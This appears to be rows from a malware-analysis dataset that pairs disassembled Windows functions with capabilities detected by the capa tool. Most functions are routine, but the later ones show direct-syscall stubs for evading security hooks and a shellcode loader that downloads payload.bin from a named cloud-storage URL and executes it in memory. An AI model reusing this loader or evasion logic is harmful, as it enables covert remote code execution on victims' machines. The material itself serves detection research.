joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001ce0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140001d3d
lea rbx, [0x140043840]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140001d24
cmp r10, 2
jb 0x140001d24
cmp byte [r9], r8b
jne 0x140001d24
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140001d00
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140001d7f
lea rbx, [0x140043840]
cmp r8b, 0x23
jne 0x140001d63
cmp byte [r9], r8b
jne 0x140001d63
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140001d50
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140001ec0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140001eda
mov qword [r8], 0
lea rdx, [0x140043458]
call fcn.140001d90
mov rbx, rax
test rax, rax
jne 0x140001efa
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140001fd3
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140001fd3
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140001fd3
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140001fd3
cmp rdi, 0xffffffffffffffff
je 0x140001fd3
mov rax, qword [0x140082900]
test rax, rax
je 0x140001f70
inc dword [rax + 0xfc]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140001fd3
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140001fc0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140082900]
test rax, rax
je 0x140001fb5
dec dword [rax + 0xfc]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001fdc
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140001fce
mov qword [r14], rdi
mov rax, rsi
jmp 0x140001fde
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x1400042f0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xf0]
mov rax, qword [rcx + 0xf8]
movsxd r9, edx
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x140043840]
not ebx
movzx eax, r9b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
sar eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
sar eax, 0x10
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov eax, r9d
xor rdx, rcx
sar eax, 0x18
xor ebx, dword [r8 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
mov rcx, qword [0x140082900]
xor ebx, dword [r8 + rdx*4]
not ebx
cmp dword [rcx + 0x3f34], ebx
jne 0x140004388
mov r8, r9
mov edx, 4
mov ecx, ebx
call fcn.140016f20
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x140004390
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
movss xmm0, dword [rcx + 0x110]
lea r10, [0x140043840]
mov rax, qword [rcx + 0xf8]
movss xmm1, dword [rcx + 0x114]
movss xmm2, dword [rdx]
movss xmm4, dword [rdx + 8]
subss xmm2, xmm0
movss xmm3, dword [rdx + 4]
subss xmm4, xmm0
movss xmm0, dword [rdx + 0xc]
subss xmm3, xmm1
movsxd rcx, dword [rcx + 0xf0]
subss xmm0, xmm1
movd r8d, xmm2
movss dword [rsp], xmm2
mov r9d, dword [rax + rcx*4 - 4]
movzx eax, byte [rsp]
not r9d
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
movss dword [rsp + 4], xmm3
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
movss dword [rsp + 8], xmm4
movss dword [rsp + 0xc], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 4]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm3
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 8]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm4
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0xc]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
shr r8, 0x18
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx edx, r9b
shr r9d, 8
xor r8, rdx
xor r9d, dword [r10 + r8*4]
not r9d
mov eax, r9d
add rsp, 0x18
ret
Function at 0x140011b80
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [0x140082900]
mov edi, ecx
cmp byte [rbx + 0x4a85], 0
jne 0x140011bd2
cmp byte [rbx + 0x4a86], 0
jne 0x140011bd2
movsx r9d, word [rbx + 0x5baa]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140001ba0
test dil, 1
je 0x140011cf8
jmp 0x140011c5d
movss xmm1, dword [rbx + 0x38a0]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x5baa]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x1400490d4]
mov edx, 0x10
mulss xmm1, dword [0x1400490b4]
addss xmm0, dword [rbx + 0xe04]
addss xmm1, dword [rbx + 0xe08]
mov qword [rbx + 0x47d8], rax
mov dword [rbx + 0x47c4], 1
movss dword [rbx + 0x47d0], xmm0
movss dword [rbx + 0x47d4], xmm1
movss xmm0, dword [rbx + 0x3908]
mulss xmm0, dword [0x140048fd0]
or dword [rbx + 0x47c0], 0x41
movss dword [rbx + 0x4820], xmm0
call fcn.140001ba0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140011cb0
lea r11, [0x140043840]
nop dword [rax]
cmp r9b, 0x23
jne 0x140011c93
cmp byte [r8], r9b
jne 0x140011c93
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140011c80
not ecx
call fcn.1400088e0
test rax, rax
je 0x140011cf8
cmp byte [rax + 0xb2], 0
je 0x140011cf8
mov byte [rax + 0xb9], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xd8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5baa]
mov edx, 0x10
movsx r9d, word [rbx + 0x5baa]
call fcn.140001ba0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000b430
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140016410
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp qword [0x5c90], 0
mov rdi, r8
mov rsi, rdx
je 0x1400164c2
mov ecx, dword [0x5c9c]
mov ebx, 0x5c98
mov qword [rsp + 0x30], rbp
xor ebp, ebp
test ecx, ecx
jns 0x140016462
mov eax, ecx
cdq
sub eax, edx
mov edx, ebp
sar eax, 1
add eax, ecx
mov ecx, ebx
test eax, eax
cmovg edx, eax
call fcn.140017940
mov r8, rdi
mov dword [rbx], ebp
mov rdx, rsi
mov rcx, rbx
call fcn.140002290
mov eax, dword [0x5c98]
mov edx, 1
mov r9, qword [0x5c90]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [0x5ca0]
cmove ecx, ebp
test rax, rax
movsxd r8, ecx
lea rcx, [0x1400828f8]
cmovne rcx, rax
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov ecx, 0x5c98
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
jmp fcn.140002290

Function at 0x140016720
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140082900]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140016783
mov qword [rsp], rbx
lea rbx, [0x140043840]
nop dword [rax]
cmp r9b, 0x23
jne 0x140016763
cmp byte [r8], r9b
jne 0x140016763
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140016750
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5c08]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x1400167b7
mov r10, qword [r10 + 0x5c10]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x1400167be
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x1400167a4
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x14003b350
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
mov rdi, rcx
nop word [rax + rax]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], 1
call fcn.14003ec70
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14003b39c
cmp byte [rdi + 8], 0
sete al
mov byte [rdi + 8], al
mov rbx, qword [0x140082900]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [rsp + 0x40]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe04], xmm0
movd xmm0, dword [rsp + 0x44]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe08], xmm0
call qword [sym.imp.USER32.dll_GetForegroundWindow]
cmp rax, qword [rsi]
jne 0x14003b370
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14003b41a
mov eax, dword [rbx + 0xe04]
mov dword [rbx + 0x36f0], eax
mov eax, dword [rbx + 0xe08]
mov dword [rbx + 0x36f4], eax
mov byte [rbx + 0xe0c], 1
mov byte [rbx + 0x3740], 1
mov byte [rbx + 0xe3], 1
jmp 0x14003b428
mov byte [rbx + 0xe0c], 0
mov byte [rbx + 0x3740], 0
mov ecx, 2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14003b46a
mov eax, dword [rbx + 0xe04]
mov dword [rbx + 0x36f8], eax
mov eax, dword [rbx + 0xe08]
mov byte [rbx + 0xe0d], 1
mov byte [rbx + 0x3741], 1
mov byte [rbx + 0xe3], 1
mov dword [rbx + 0x36fc], eax
jmp 0x14003b370
mov byte [rbx + 0xe0d], 0
mov byte [rbx + 0x3741], 0
jmp 0x14003b370
Function at 0x14003b480
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, qword [0x140082d90]
lea rdx, str.Task_Manager
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x14003b4b6
lea rcx, str.start_taskmgr
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
nop dword [rax + rax]
lea rdx, str.Task_Manager
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x14003b4ea
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jl 0x14003b4c0
mov rcx, qword [rdi + 0x10]
mov edx, 0xfffffff0
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
mov rcx, qword [rdi + 0x10]
mov edx, 0xfffffff0
and rax, 0xffffffffff3fffff
mov r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
mov rcx, qword [rdi + 0x10]
mov edx, 0xffffffec
mov r8d, 0x80020
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [rdi + 0x10]
mov edx, 0xfffffff0
mov r8d, 0x90000000
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.USER32.dll_GetMenu]
test rax, rax
je 0x14003b556
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.USER32.dll_SetMenu]
mov rcx, qword [rdi + 0x10]
lea rdx, [rdi + 0x18]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [rdi + 0x10]
mov edx, 1
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rdi + 0x10]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [rdi + 0x10]
xor r9d, r9d
mov dword [rsp + 0x30], 0x26
xor r8d, r8d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rbx, qword [rsp + 0x50]
mov al, 1
add rsp, 0x40
pop rdi
ret
Function at 0x14003f06c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14003f0a6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14003f0ab
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14003f0f4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140042650]
cmp byte [rcx + rax], 0
je 0x14003f0f4
dec r8
sub rdx, 1
jne 0x14003f0da
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140040318
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140040362
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140040362
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140040362
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140040362
cmp dword [rcx + 0x84], 0xe
jbe 0x140040362
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140040364
xor al, al
add rsp, 0x28
ret
Function at 0x1400027f0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
movzx esi, word [rdx + 6]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx], rbp
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rbp
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x30], rsi
test rsi, rsi
je 0x14000284d
lea rdx, [rsp + 0x30]
call fcn.140002a00
movzx ecx, word [rdi + 0x14]
add rcx, 0x18
add rcx, rdi
mov qword [rsp + 0x30], rcx
cmp bp, si
jae 0x1400028a9
mov rax, rcx
mov rdi, rcx
nop dword [rax + rax]
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x140002884
mov qword [rdx], rcx
add qword [rbx + 8], 8
jmp 0x140002894
lea r8, [rsp + 0x30]
mov rcx, rbx
call fcn.140002b00
mov rax, rdi
lea rcx, [rax + 0x28]
mov qword [rsp + 0x30], rcx
mov rax, rcx
mov rdi, rcx
sub rsi, 1
jne 0x140002870
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140004ad0
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003b40
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
mov r14, rcx
mov qword [rsp + 0x38], rdx
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx], rbx
mov qword [rdx + 8], rbx
mov qword [rdx + 0x10], rbx
mov ecx, 8
call fcn.140004af8
mov rcx, rax
mov qword [rdi], rax
add rax, 8
mov qword [rdi + 0x10], rax
lea rax, [rcx + 8]
xor edx, edx
mov qword [rcx], rdx
mov qword [rdi + 8], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x20], 2
lea r9, [rsp + 0x40]
mov r8d, 1
mov rdx, qword [rdi]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
mov ebx, dword [rsp + 0x40]
shr rbx, 3
mov rsi, qword [rdi + 8]
mov rdx, qword [rdi]
mov rcx, rsi
sub rcx, rdx
sar rcx, 3
cmp rbx, rcx
jae 0x140003bf6
lea rax, [rdx + rbx*8]
mov qword [rdi + 8], rax
jmp 0x140003c35
jbe 0x140003c35
mov rax, qword [rdi + 0x10]
sub rax, rdx
sar rax, 3
cmp rbx, rax
jbe 0x140003c15
mov rdx, rbx
mov rcx, rdi
call fcn.1400046e0
jmp 0x140003c35
sub rbx, rcx
lea rbx, [rbx*8]
mov r8, rbx
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbx + rsi]
mov qword [rdi + 8], rdx
mov dword [rsp + 0x20], 2
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rdi]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
mov rax, rdi
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140004ad0
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x140005028
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005072
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005072
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005072
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005072
cmp dword [rcx + 0x84], 0xe
jbe 0x140005072
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005074
xor al, al
add rsp, 0x28
ret
Function at 0x401a2c
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x31a23f35
nop
call fcn.00401944
add rsp, 0x28
xor rdx, rdx
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x401a75
Capabilities:
Execute syscall

Disassembly:
push rbx
pop rbx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x3952937
call fcn.00401944
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x401ab8
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
nop
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x68ce5a67
call fcn.00401944
add rsp, 0x28
xor rdx, rdx
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x401b8c
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
nop
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x1d950b1b
nop
call fcn.00401944
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
nop
ret

Function at 0x401bd3
Capabilities:
Execute syscall

Disassembly:
push rbx
pop rbx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xda2cefe
nop
call fcn.00401944
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
nop
ret

Function at 0x401c18
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x1aa32e1b
nop
call fcn.00401944
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x40201f
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xb0
call fcn.0040baf0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 8], rax
mov dword [rbp - 0x2c], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
call fcn.00401d71
test eax, eax
sete al
test al, al
je 0x402083
lea rdx, str.ntdll_unhooked_
mov rcx, qword [0x004e5210]
call fcn.004d6050
mov rdx, qword [0x004e5220]
mov rcx, rax
call fcn.0047ecd0
lea rax, str.https:__tencentossconsole.oss_cn_beijing.aliyuncs.com_payload.bin
mov qword [rbp - 0x10], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.HTTP_Downloader
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x402260
mov ecx, dword [0x004dcfc4]
lea rdx, [rbp - 0x4c]
mov rax, qword [rbp - 0x20]
mov r9, rdx
mov r8d, ecx
lea rdx, [0x00507040]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov dword [rbp - 0x24], eax
lea rax, [rbp - 0x38]
mov rcx, qword [rbp - 8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [0x004dcfc4]
mov r8d, 0
mov rdx, rax
call fcn.00401b8c
mov dword [rbp - 0x28], eax
mov eax, dword [0x004dcfc4]
mov r8d, eax
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9, r8
lea r8, [0x00507040]
call fcn.00401a75
mov dword [rbp - 0x28], eax
lea rax, [rbp - 0x38]
mov rcx, qword [rbp - 8]
lea rdx, [rbp - 0x2c]
mov qword [rsp + 0x20], rdx
mov r9d, 1
lea r8, [0x004dcfc4]
mov rdx, rax
call fcn.00401a2c
mov dword [rbp - 0x28], eax
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 8]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call fcn.00401bd3
mov dword [rbp - 0x28], eax
lea rax, [rbp - 0x38]
mov rcx, qword [rbp - 8]
lea rdx, [rbp - 0x2c]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20
lea r8, [0x004dcfc4]
mov rdx, rax
call fcn.00401a2c
mov dword [rbp - 0x28], eax
mov rax, qword [rbp - 0x40]
mov edx, 0
mov rcx, rax
call fcn.00401ab8
mov dword [rbp - 0x28], eax
mov rax, qword [rbp - 0x40]
mov r8d, 0
mov edx, 0xff
mov rcx, rax
call fcn.00401c18
mov dword [rbp - 0x28], eax
mov eax, 0
add rsp, 0xb0
pop rbp
ret